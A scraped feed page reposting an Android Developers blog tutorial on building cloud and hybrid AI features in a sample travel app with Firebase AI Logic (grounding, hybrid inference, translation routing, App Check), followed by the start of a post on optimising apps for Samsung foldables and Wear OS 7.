<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBHTpa22SxEltoebLZYO_34iRtahN8z5tA3tnIryIii0s4_conN5qFYfmNro6nmZBfsgiZeRLtru-gE4XO2mf-RBDyIo00kf3QunWwUO-SICHkVSv0exAQQ4qA0KzjMGRpA8qj1TSMP0Ffe0FzrEc_S1zBaakKzCZFpqYLXqds9Zqmqr8yyeSgyNl9U0s/s2469/features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Meta.png"><div><i>Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer Relations</i></div><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn2fO3T2xckksQ9pk3RUNPxZqqq2CyaifXnju0lCCpbfwJ4gZyq-df0kM_mK1TMV0F9YCMo19Ba9NvFAiUpzDH6Wlk_RyonRCK5Ono25CYyQ7xGC3q70mUhyphenhyphenOOYJ-5JX2KlFP1lIA3ULIhH86_hP2ptO0AllUIf6ZVh-SqoXVWcXrM8m3hHCkhGwZYfP4/s8583/AFD%20-%20%5BABL_101%5D%20Building%20AI%20features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn2fO3T2xckksQ9pk3RUNPxZqqq2CyaifXnju0lCCpbfwJ4gZyq-df0kM_mK1TMV0F9YCMo19Ba9NvFAiUpzDH6Wlk_RyonRCK5Ono25CYyQ7xGC3q70mUhyphenhyphenOOYJ-5JX2KlFP1lIA3ULIhH86_hP2ptO0AllUIf6ZVh-SqoXVWcXrM8m3hHCkhGwZYfP4/s1600/AFD%20-%20%5BABL_101%5D%20Building%20AI%20features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Blog.png"></a></div><br><p><br></p><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a <b>personalized</b>, <b>intelligent</b>, and <b>agentic</b> experience. In our <a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">previous post</a> we explored how to build intelligent on-device features using Gemini Nano through ML Kit's Prompt API.</p>

<p>In this post, we will look at how you can leverage <b><a href="https://firebase.google.com/docs/ai-logic">Firebase AI Logic</a> </b>to build cloud-hosted and hybrid AI features: </p>
<ul>
  <li>Grounding answers in real-world context</li>
  <li>Routing requests dynamically between cloud and local execution using hybrid inference</li>
  <li>Translating content with custom routing systems</li>
</ul>

<div>
  
  
</div><p><br></p><p>Sometimes a use case requires AI models with greater world knowledge, a much larger context window, or the ability to handle complex queries. In those scenarios, we can leverage cloud models. </p>

<p>Other times, you want the best of both worlds: using hybrid inference to run on-device when available to lower costs, while falling back to the cloud to ensure compatibility for all devices.</p><br><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwlTUF1Kzkbrf2w64KO3jZJZZ_wLEu34vq6Cb7PX2alVUhFVdbkiWuXCkzUS-bPJkHMbmuNJ_Ov0HYZzujr69jCU9gPvmKaKMZt2q4-TolSDFCLABBIY1IBRY9Zn7D5S10hFcJD2kuVCm3N2glpqDJoHiqAZat4z6oyXxxwH4ZCGVBgfPObMevoJrgNPg/s8000/features_upscaled.png"><img border="0" data-original-height="4744" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwlTUF1Kzkbrf2w64KO3jZJZZ_wLEu34vq6Cb7PX2alVUhFVdbkiWuXCkzUS-bPJkHMbmuNJ_Ov0HYZzujr69jCU9gPvmKaKMZt2q4-TolSDFCLABBIY1IBRY9Zn7D5S10hFcJD2kuVCm3N2glpqDJoHiqAZat4z6oyXxxwH4ZCGVBgfPObMevoJrgNPg/s1600/features_upscaled.png"></a></div><em>Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and 
  support chat featuring custom-routed live translation.</em></div>

<p>Let’s look at how we implemented three cloud and hybrid features in <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">Jetpacker</a>:</p>
<ul>
  <li>a museum assistant with web grounding</li>
  <li>hybrid restaurant review drafting</li>
  <li>hotel support chat featuring custom-routed live translation.</li>
</ul>

<h2>Use LLM grounding for up-to-date informationMuseum assistant chatbot with LLM grounding</h2>
<p>The <b>Museum assistant </b>is an interactive chatbot designed to help users plan their museum visits. It provides visitors with up-to-date details regarding specific exhibits, current opening hours, ticket pricing, and more.</p><br><div class="separator"><em><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3pxeCVJfOo5G7McNB4RCIhoCUch8CHSAWI7gHijJJcE95b0gbu3lyAO1xIWc6mKllkpylSPBnVfU6RYnwfay4z6dH7TlufPuNw3Lw7s-bEuR4Ajx8IHK8k6zJcOHitqMRdDv8EVL-fCN6uuDo1QTnOgk_RW-AEM1_hZaJWbCGezMQF_D9Hia-Rm2T4-c/s4880/museum_assistant_upscaled.png"><img border="0" data-original-height="4880" data-original-width="2392" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3pxeCVJfOo5G7McNB4RCIhoCUch8CHSAWI7gHijJJcE95b0gbu3lyAO1xIWc6mKllkpylSPBnVfU6RYnwfay4z6dH7TlufPuNw3Lw7s-bEuR4Ajx8IHK8k6zJcOHitqMRdDv8EVL-fCN6uuDo1QTnOgk_RW-AEM1_hZaJWbCGezMQF_D9Hia-Rm2T4-c/w314-h640/museum_assistant_upscaled.png" width="314"></a></div>Museum assistant is a chatbot that answers questions, such as </em></div><div class="separator"><em>‘How can I get a ticket discount for Le Louvre?’</em></div>

<p>When building AI features, getting the model to answer with fresh, accurate, and specific real-world information is a common challenge. While cloud models possess massive amounts of world knowledge, they might not know about seasonal exhibits or the current day’s opening hours. </p><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8He5M2JC5EwXZwa-M52UAXHSO4dWy4gx3aZoY2ZXM-x25pV4kc6BsICe_fG4Zn6-R37_UgTQ8LBSsrNcP50e3aQLgxNbHOfWLBqzaSqQ78ZDmNEJadZNc-I5bduHr0UtWOxYMTFAHgffxcuzaETHPe3lvfRod2rkeOUXnRaLJ_vIiAfO_xRKpESbX3L8/s8000/grounding_upscaled.png"><img border="0" data-original-height="4452" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8He5M2JC5EwXZwa-M52UAXHSO4dWy4gx3aZoY2ZXM-x25pV4kc6BsICe_fG4Zn6-R37_UgTQ8LBSsrNcP50e3aQLgxNbHOfWLBqzaSqQ78ZDmNEJadZNc-I5bduHr0UtWOxYMTFAHgffxcuzaETHPe3lvfRod2rkeOUXnRaLJ_vIiAfO_xRKpESbX3L8/s1600/grounding_upscaled.png"></a></div><br><em><br>Grounding data is added to the context window to enable the model</em></div><div class="separator"><em> to answer questions correctly and accurately.</em></div>

<p>To bridge this gap, we can use grounding techniques to add extra context to the model’s context window. The <a href="https://firebase.google.com/products/firebase-ai-logic" target="_blank">Firebase AI Logic SDK</a> supports three types of grounding:</p>
<ul>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/url-context">URL grounding</a>:</strong> Grounding responses using content from a specific webpage (e.g. current ticket prices or museum rules).</li>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/grounding-google-search">Google Search grounding</a>:</strong> Letting the model query the real-time Google search index for up-to-date details.</li>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/grounding-google-maps">Maps grounding</a>:</strong> Using Google Maps location data.</li>
</ul>

<p>In Jetpacker, we dynamically construct the available tools based on enabled feature flags and initialize the generative model using the Firebase AI SDK:</p>

<pre><code>// implementation("com.google.firebase:firebase-ai-logic")

private var toolList = mutableListOf&lt;Tool&gt;()

init {
    if (ENABLE_SEARCH_GROUNDING) {
        toolList.add(Tool.googleSearch())
    }
    if (ENABLE_URL_GROUNDING) {
        toolList.add(Tool.urlContext())
    }
}

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        systemInstruction = content {
            text("You are a helpful museum assistant answering questions about a museum. Use plain text.")
        },
        tools = toolList
    )</code></pre>

<p>When the user queries the assistant, if URL grounding is enabled, we append the specific museum resource URLs directly into the prompt:</p>

<pre><code>val groundingText = if (FeatureFlags.ENABLE_URL_GROUNDING) {
    "\n If the following message above is about the rules and terms to visit Le Louvre, " +
    "if needed answer this urls ${urlList.joinToString()}"
} else {
    ""
}

val prompt = "$text $groundingText"

var response = chat.sendMessage(prompt)
</code></pre>

<h2>Hybrid inference: On-device review generation with Maps deep link</h2>
<p>Not every AI task requires a cloud-based model, and not every device is online. To help developers balance latency, cost, and offline availability, we recently introduced the <a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started?api=dev">Firebase API for Hybrid Inference</a>.</p>

<p>In Jetpacker, the <b>restaurant review</b> feature lets users review select topics and automatically drafts a review. To enable this for all users, we prioritize local execution with Gemini Nano, and fall back to cloud models on devices that don’t support Gemini Nano. </p><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVa1o2Zh3v3Babi7gGmzOFYAKPEgS0HWmvisiKgK-QsSRh_ZhjTjuUYSS_QIH0JQw9NsqrkYe4Quud6cfCGwVc61_7HKcACj6c9yywWySn5xyHGgemBR5tYPP8q3bmLadaN6uLXspE9LqrcZkVdckEGHWDhdfYVa-xo8QomDaRn03mau2fHVyK0Fr1FaU/s4680/review_upscaled.png"><img border="0" data-original-height="4680" data-original-width="2392" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVa1o2Zh3v3Babi7gGmzOFYAKPEgS0HWmvisiKgK-QsSRh_ZhjTjuUYSS_QIH0JQw9NsqrkYe4Quud6cfCGwVc61_7HKcACj6c9yywWySn5xyHGgemBR5tYPP8q3bmLadaN6uLXspE9LqrcZkVdckEGHWDhdfYVa-xo8QomDaRn03mau2fHVyK0Fr1FaU/w327-h640/review_upscaled.png" width="327"></a></div><br></div><div class="separator"><em>The restaurant review feature uses hybrid inference to draft a review based on topics</em></div><div class="separator"><em><br></em></div>

<pre><code>// implementation("com.google.firebase:firebase-ai-logic")
// implementation("com.google.firebase:firebase-ai-ondevice:16.0.0-beta03")


// Initialize the model with hybrid routing configuration
val reviewModel = Firebase.ai.generativeModel(
    modelName = "gemini-3.1-flash-lite",
    onDeviceConfig = OnDeviceConfig(
        inferenceMode = InferenceMode.PREFER_ON_DEVICE
    )
)</code></pre>

<p>The Hybrid Inference API supports four distinct routing modes:</p>
<ul>
  <li><strong>PREFER_ON_DEVICE:</strong> Prioritizes local execution and falls back to cloud if Gemini Nano is unavailable.</li>
  <li><strong>PREFER_IN_CLOUD:</strong> Prioritizes cloud execution and falls back to on-device if the device goes offline.</li>
  <li><strong>ONLY_ON_DEVICE:</strong> Restricts execution strictly to the device.</li>
  <li><strong>ONLY_IN_CLOUD:</strong> Restricts execution strictly to the cloud.</li>
</ul>

<p>Once the review is generated, we copy it to the clipboard and use an intent to open Google Maps directly to the restaurant's review page, providing a seamless user experience:</p>

<pre><code>private fun copyAndOpenMapsReview(context: Context, reviewText: String, placeId: String) {
    val clipboard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
    val clip = ClipData.newPlainText("User Review", reviewText)
    clipboard.setPrimaryClip(clip)

    val uri = Uri.parse("https://search.google.com/local/writereview/mobile?placeid=$placeId")
    val intent = Intent(Intent.ACTION_VIEW, uri).apply {
        setPackage("com.google.android.apps.maps")
    }
    context.startActivity(intent)
}</code></pre>

<h2>Custom hybrid routing: Hotel support chat translation with simulated personas</h2>
<p>The <b>hotel support chat</b> was built to let users finalize logistics and check on hotel details. This feature uses system instructions to configure a localized receptionist assistant. By passing specific information—such as the preferred language and hotel information—in the instructions, we can set up a conversational persona representing a specific hotel.</p>

<pre><code>private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        systemInstruction = content {
            text("""
              You are a helpful hotel receptionist at $hotelName only speaking $language. 
              Answer politely in $language. The bar closes at 10pm and breakfast is from 7am to 10am.
              There's someone at the desk 24/7. You can retrieve your luggage from the storage room 
              at the back of the lobby at any time.
              """)
        },
        modelName = "gemini-3-flash-preview"
    )</code></pre>

<p>Because receptionist responses are in the hotel's local language (for example, French for Hotel Le Meurice in Paris), we need to translate messages to the user’s preferred language. </p><div class="separator"><em><br><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikIB_NnUYK8GnEpI3foNLO2_AQ2lNZhoc9gFB-CjERDjMwrdQ2T45y6jzrJAafi4Jz7eF_SBkXG7csDwpajKctp5yo1hsBjIacIfK3aHvvQjCUu22qZBj7dLl5Q4aGFJRD4hwTlMMNgZD8sIuYpCrRjMmpa5ybXDzi9nkTMZoiJOEn8jLmqBsgTXcVTDY/s4112/translation_upscaled.png"><img border="0" data-original-height="2364" data-original-width="4112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikIB_NnUYK8GnEpI3foNLO2_AQ2lNZhoc9gFB-CjERDjMwrdQ2T45y6jzrJAafi4Jz7eF_SBkXG7csDwpajKctp5yo1hsBjIacIfK3aHvvQjCUu22qZBj7dLl5Q4aGFJRD4hwTlMMNgZD8sIuYpCrRjMmpa5ybXDzi9nkTMZoiJOEn8jLmqBsgTXcVTDY/s1600/translation_upscaled.png"></a></div><div class="separator"><em>Hotel support chat messages are automatically translated to the user’s preferred language </em></div></em></div>

<p>While hybrid models can configure simple routing preferences, complex scenarios require custom routing logic. In Jetpacker, we implement a custom routing stack that takes into account:</p>
<ul>
  <li><strong>Language identification:</strong> Using the on-device <a href="https://developers.google.com/ml-kit/language/identification/android">ML Kit Language Identification API</a>, we can detect the incoming message language.</li>
  <li><strong>On-device translation (Gemini Nano):</strong> <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit’s Prompt API</a> lets us translate common language pairs directly on the device, saving bandwidth and cloud cost.</li>
  <li><strong>Cloud translation (Gemini 3 Flash):</strong> For more complex languages, we use Gemini Flash 3 to get a higher quality translation.</li>
</ul>

<pre><code>// implementation("com.google.android.gms:play-services-mlkit-language-id:17.0.0") 

// ML Kit for Language Identification (powered by Google Play Services)
private val languageIdentifier = LanguageIdentification.getClient()

// On-device translator model (prefer Gemini Nano) for translating common language pairs
private val hybridTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        onDeviceConfig = OnDeviceConfig(mode = InferenceMode.PREFER_ON_DEVICE)
    )

// Cloud translator model for more complex language pairs
private val cloudTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash"
    )</code></pre>

<p>When a message needs to be translated, we identify the source language and apply our custom routing logic, executing either on-device or cloud translation:</p>

<pre><code>fun translateMessage(message: SupportChatMessage) {
    viewModelScope.launch {
        // 1. Detect language using ML Kit Language Identification
        val sourceLang = try {
            Tasks.await(languageIdentifier.identifyLanguage(message.text))
        } catch (e: Exception) {
            "Undefined"
        }

        // 2. Custom routing: we've verified the translation quality for English and Korean with Gemini Nano, and will translate message on-device for those two languages
        val routeToCloud = sourceLang != "en" &amp;&amp; sourceLang != "kr"

        val prompt = "Translate the following text to $selectedLanguage. Just return the translated sentence: ${message.text}."

        val (translatedText, routePrefix) = if (routeToCloud) {
            val result = cloudTranslationModel.generateContent(prompt)
            result.text to "[Cloud]"
        } else {
            val result = hybridTranslationModel.generateContent(prompt)
            result.text to "[On-Device]"
        }

        if (translatedText != null) {
            _translations.update { current -&gt;
                current + (message.id to "$routePrefix: $translatedText")
            }
        }
    }
}</code></pre>

<p>In this example, the custom routing logic only takes into consideration the translation’s source and target language. However, based on your app’s use case, you can expand the routing logic to include other factors such as the on-device model version, network connectivity, battery status, and more.</p>

<h2>Securing the AI Pipelines: Firebase App Check</h2>
<p>Lastly, using AI in the cloud opens up possibilities of API key abuse or unauthorized billing. To secure API calls, we integrated <a href="https://firebase.google.com/docs/app-check"><b>Firebase App Check</b></a> using both Play Integrity (production) and the local Debug Provider (for local development or emulators).</p>

<p>In the <a href="https://github.com/android/ai-samples/blob/main/jetpacker/android/app/src/main/kotlin/com/example/jetpacker/JetPackerApplication.kt">JetPackerApplication.kt</a> file, we install the debug provider at startup and trigger anonymous authentication to establish a secure user session:</p>

<pre><code>//  implementation("com.google.firebase:firebase-appcheck-playintegrity") 
//  implementation("com.google.firebase:firebase-appcheck-debug")  
//  implementation("com.google.firebase:firebase-auth") 

override fun onCreate() {
    super.onCreate()
    Firebase.initialize(context = this)
    Firebase.appCheck.installAppCheckProviderFactory(
        DebugAppCheckProviderFactory.getInstance()
    )
    Firebase.auth.signInAnonymously()
}</code></pre>

<p>When building locally on an emulator, App Check prints a local token secret to logcat:</p>

<p>Enter this debug secret into the allow list in the Firebase Console: a8c2dd4c-xxxx-xxxx-xxxx-ef6c114ba27e</p>

<p>Once registered in the Firebase console, local requests are fully verified and authenticated by App Check, protecting our backend while letting us test the app locally.</p>

<h2>Conclusion</h2>
<p>By combining cloud model capabilities (grounding, system instructions) with on-device capabilities (hybrid routing, translation, security app checks), we created a travel app that is smart, secure, and available offline.</p>

<p>Check out the <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">full source code for Jetpacker on GitHub</a>, and explore the Firebase documentation to get started:</p>
<p><a href="https://firebase.google.com/docs/ai-logic/get-started">Firebase AI Logic Documentation</a><br><a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started">Firebase Hybrid Inference API</a></p>

<h2>Learn more</h2>
<p>Check out the other parts of this blog post series:</p>
<p><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html">Part 1</a>:</b> Introduction of the app and a high-level overview.<br><b><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">Part 2</a>: </b>On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">Part 3 (this post!):</a></b> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html">Part 4:</a> </b>System integration. Integrating with the Android intelligence system using AppFunctions. <br><b>Part 5 (coming soon):</b> In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.</p>

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>All code snippets in this blog post follow the following copyright notice:</p>
<pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre>]]></content:encoded>
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<title><![CDATA[Optimize your apps for the next generation of Samsung Galaxy devices]]></title>
<description><![CDATA[Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer ExperienceToday at Galaxy Unpacked, Samsung unveiled its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, ...]]></description>
<link>https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:16 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV-c747avSj9Z8JO4DTK4kSfO3SjSpd5aTuVvR_TBeD3bXV6cc8lzNLGrWCngNXdyZBeiNjQqwQZCcU4QCrovwL99gu0t5bQrlTXa0PIBGIivwyS8y226MgeraphZr4VITWYe0x7ckFto0dsD8rBLM1J_P3dV0CBj5Ctlwm8jsgAPZA7W2XnKnRz59H9I/s2049/MM_Adaptive_and_device_Meta%20(1).png"><div>



<div><div class="separator"><i>Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer Experience</i></div></div><div><i><br></i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s4210/MM_Adaptive_and_device_Blog.png"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s1600/MM_Adaptive_and_device_Blog.png"></a></div><br><i><br></i><p>Today at Galaxy Unpacked, Samsung <a href="https://blog.google/products-and-platforms/platforms/android/galaxy-unpacked-2026" target="_blank">unveiled</a> its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, and device postures your app needs to support is expanding once again.</p>

<p>With devices like the Galaxy Z Fold8, the ecosystem is expanding to include hardware with a landscape-first natural orientation and a wider aspect ratio in its main display state. Whether a user is unfolding a large display, flipping open a cover screen, or glancing at their wrist, users expect a flawless experience. To help you meet this moment, we’re sharing actionable guidance and new tooling updates to enable you to build adaptively proactively.</p>

<div class="separator">
  </div>

<h2>Rethink layout architecture for dynamic displays, including ultra-wide foldables</h2>

<p>Building for the latest foldables means dropping assumptions about display orientation and size. This is especially true for the Galaxy Z Fold8, which adopts an ultra-wide display, adding to the variety of aspect ratios to account for.  Devices with this landscape-first natural orientation show the limitations of hardcoded layout rules when users unfold the device. That’s why we’ve introduced <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">dedicated guidance for building for landscape foldables and trifolds.</a></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1302/Samsung%20fold8%20phones.png"><img border="0" data-original-height="442" data-original-width="1302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1600/Samsung%20fold8%20phones.png"></a></div><br><p>To build a responsive UI that handles these physics seamlessly, focus on the following core pillars:</p>

<p></p><ul><li><b>Build fluid, adaptive layouts: </b>Wide aspect ratios and compact vertical heights require fluid UIs that scale responsively. Our updated <a href="https://developer.android.com/design/ui/mobile/guides/layout-and-content/adapt-layout" target="_blank">adaptive design guidance</a> advises considering the window class width first to determine layout changes, then adjusting for height. To let individual components fluidly adapt to the grid, structure your layout using flexible containers that allow your content to automatically wrap, span, and reflow. For design inspiration browse our <a href="https://developer.android.com/design/ui/gallery/social/pawparazzi" target="_blank">adaptive sample app</a> and <a href="https://developer.android.com/design/ui/gallery/social/dual-screen?hl=en" target="_blank">dual-screen</a> design galleries.</li><li><b>Track actual app space:</b> Your app's display space rarely matches the physical device size, especially on an ultra-wide screen during multi-window, split-screen, or multitasking states. Sometimes even the orientations differ. Leverage <a href="https://developer.android.com/develop/adaptive-apps/guides/use-window-size-classes?hl=en" target="_blank">Window Size Classes</a> using the <a href="https://developer.android.com/blog/posts/jetpack-window-manager-1-5-is-stable" target="_blank">Jetpack Window Manager library</a> to calculate the exact space your app occupies.</li></ul><div><br></div>
  
<div class="separator">
  </div></div><div class="separator"><br></div><div class="separator"><div class="separator"><ul><li><b>Leverage the latest Jetpack Compose Update: </b>Start by adopting the stable <a href="https://android-developers.googleblog.com/2026/04/jetpack-compose-april-2026-updates.html" target="_blank">Jetpack Compose April '26 release</a> (<a href="https://developer.android.com/develop/ui/compose/bom" target="_blank">Compose BOM</a> version <code>2026.04.01</code>).Take advantage of the new structural layout tools to manage complex architectures. The new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid" target="_blank">Grid</a> API allows you to define dynamic tracks and column spans without the performance overhead of a lazy list. Pair Grid with the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox" target="_blank">FlexBox</a> layout API to easily handle multi-axis alignment and dynamic item wrapping. You can also use the new <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/mediaquery" target="_blank">MediaQuery</a> API to adapt your UI to its environment, using conditions to detect signals like device posture, window size, and keyboard types. </li><li><b>Make your app fold aware: </b>Use the Jetpack WindowManager library, which provides an API surface for foldable device window features such as folds and hinges. When your app is<a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/make-your-app-fold-aware" target="_blank"> fold aware</a>, it can adapt its layout to avoid placing important content in the area of folds or hinges and use folds and hinges as natural separators.</li><li><b>Maintain app continuity:</b> Avoid breaking the user journey when the device configuration shifts. Retain your UI state using <a href="https://developer.android.com/topic/libraries/architecture/viewmodel?hl=en" target="_blank">ViewModel</a> to ensure smooth transitions when a user folds or unfolds their device.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/s1920/7.22_MorphToTablet_Gif.gif"><img border="0" data-original-height="1080" data-original-width="1920" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdxp09YbiUc9EzTGhIJ2fcoV67rLKb6Sm9UOVCISO4Xa0VVVnFUJG9PXSAYCq7gnHILLx8xoIx-L2C0blhugbADUa3nM0AOx8UQzGImu194B94Kt-CKAuK1CrGHUz10fBFs02Lmly-HO-fmBHFuZ9knuYRb6EP9v4-SpR7Ja-oeJZErJDUVEgEje0d7J8/w640-h360/7.22_MorphToTablet_Gif.gif" width="640"></a></div><div><h2>Ensure seamless camera capture on foldable devices</h2><div>Camera implementation on foldables brings unique hardware quirks. Moving from a compact outer display to an expanded inner display introduces distinct layout aspect ratios while device rotation remains unchanged. If an app assumes a fixed portrait relationship between the camera sensor and the device layout, the app will likely suffer from sideways, stretched, or cropped previews during these folding transitions.</div><div> </div><div>When optimizing your app's media pipeline, migrate your capture experiences to <a href="https://developer.android.com/media/camera/camerax" target="_blank">CameraX</a> using the CameraX migration <a href="https://github.com/android/skills/blob/main/camera/camerax/SKILL.md">skill</a>. The library’s <a href="https://developer.android.com/reference/kotlin/androidx/camera/view/PreviewView" target="_blank">PreviewView</a> automatically handles sensor orientation, device rotation, and scaling behind the scenes. This guarantees a clean, stable preview regardless of how the user holds or positions the device. If you are maintaining an existing Camera2 codebase, integrate the <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables#solution_2_cameraviewfinder" target="_blank">CameraViewfinder</a> library to apply these complex aspect ratio and rotation transformations automatically without needing a total architecture overhaul.</div></div><h2>Extend glanceable interactions to Wear OS 7</h2><div>The opportunity to build for this new generation of devices extends right to the wrist. Launching with Wear OS 7, Wear Widgets give you a fresh surface to provide users with instant, glanceable access to their essential updates. You can build these highly expressive experiences using <a href="https://developer.android.com/jetpack/androidx/releases/glance-wear" target="_blank">Jetpack Glance</a> and <a href="https://developer.android.com/jetpack/androidx/releases/compose-remote" target="_blank">RemoteCompose</a>. Crucially, Widgets built with this framework can now populate multi-widget tiles that were previously reserved for first-party widgets. </div><div><br></div>
    
 <div class="separator">
